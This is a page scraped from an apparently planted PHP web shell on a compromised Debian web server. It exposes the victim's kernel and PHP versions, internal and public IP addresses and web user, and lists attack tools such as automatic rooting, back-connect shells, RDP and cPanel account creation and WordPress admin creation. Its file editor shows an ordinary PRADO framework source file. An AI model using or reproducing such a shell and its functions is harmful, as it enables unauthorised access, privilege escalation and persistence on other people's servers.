Linux polon 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64
Apache/2.4.59 (Debian)
: 10.2.73.233 | : 3.137.200.139
Cant Read [ /etc/named.conf ]
5.6.40-64+0~20230107.71+debian10~1.gbp673146
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
ifk /
web /
prado4.3.2 /
Util /
Behaviors /
[ HOME SHELL ]
Name
Size
Permission
Action
TBehaviorParameterLoader.php
9.54
KB
-rw-r--r--
TMapLazyLoadBehavior.php
1.78
KB
-rw-r--r--
TMapRouteBehavior.php
3.46
KB
-rw-r--r--
TPageGlobalizationCharsetBehav...
2.22
KB
-rw-r--r--
TPageNoCacheBehavior.php
2.6
KB
-rw-r--r--
TPageTopAnchorBehavior.php
1.64
KB
-rw-r--r--
TParameterizeBehavior.php
8
KB
-rw-r--r--
TTimeZoneParameterBehavior.php
3.74
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : TMapRouteBehavior.php
<?php /** * TMapRouteBehavior class file. * * @author Brad Anderson <belisoful@icloud.com> * @link https://github.com/pradosoft/prado * @license https://github.com/pradosoft/prado/blob/master/LICENSE */ namespace Prado\Util\Behaviors; use Prado\Exceptions\TInvalidDataTypeException; use Prado\Util\TBehavior; /** * TMapRouteBehavior class. * * TMapRouteBehavior routes the changes to Application Parameters to * actual functions to affect change. * <code> * Prado::getApplication()->getParameters()->attachBehavior('name' * new TMapRouteBehavior('parameterToHook', [$obj, 'setParam'])); * </code> * This code will call $obj->setParam($value) every time the parameter * 'parameterToHook' changes in the Application Parameters. * * <code> * Prado::getApplication()->getParameters()->attachBehavior('name' * new TMapRouteBehavior(null, [$obj, 'setParam'])); * </code> * This code will call $obj->setParam($key, $value) every time any parameter * changes in the Application Parameters. * * @author Brad Anderson <belisoful@icloud.com> * @since 4.2.0 */ class TMapRouteBehavior extends TBehavior { /** * @var string the parameter to check for when there are changes. */ private $_parameter; /** * @var callable the parameter to check for when there are changes */ private $_handler; /** * @param string $parameter the name of the map key parameter to hook * @param callable $handler the handler for setting the parameter */ public function __construct($parameter, $handler) { if (!is_callable($handler)) { throw new TInvalidDataTypeException('maproutebehavior_handler_not_callable'); } $this->_parameter = $parameter; $this->_handler = $handler; parent::__construct(); } /** * This is the dynamic event for handling TMap dyAddItem. * When there is a parameter, when the key is equal to the parameter, * this calls handler($value). * When parameter is null, this calls handler($key, $value). * @param string $key the key of the item being added * @param mixed$value the value of the item being added * @param \Prado\Util\TCallChain $callchain of event handlers * @return mixed returns the argv[0], chained to all handlers */ public function dyAddItem($key, $value, $callchain) { if ($key == $this->_parameter && $key !== null && $this->_handler) { call_user_func($this->_handler, $value); } elseif ($this->_parameter === null) { call_user_func($this->_handler, $key, $value); } return $callchain->dyAddItem($key, $value); } /** * This is the dynamic event for handling TMap dyRemoveItem. * When there is a parameter, when the key is equal to the parameter, * this calls handler(null). * When parameter is null, this calls handler($key, null). * @param string $key the key of the item being added * @param mixed $value the value of the item being added * @param \Prado\Util\TCallChain $callchain of event handlers * @return mixed returns the argv[0], chained to all handlers */ public function dyRemoveItem($key, $value, $callchain) { if ($key == $this->_parameter && $key !== null && $this->_handler) { call_user_func($this->_handler, null); } elseif ($this->_parameter === null) { call_user_func($this->_handler, $key, null); } return $callchain->dyRemoveItem($key, $value); } /** * @return string parameter */ public function getParameter() { return $this->_parameter; } /** * * @param mixed $param */ public function setParameter($param) { $this->_parameter = $param; } }
Close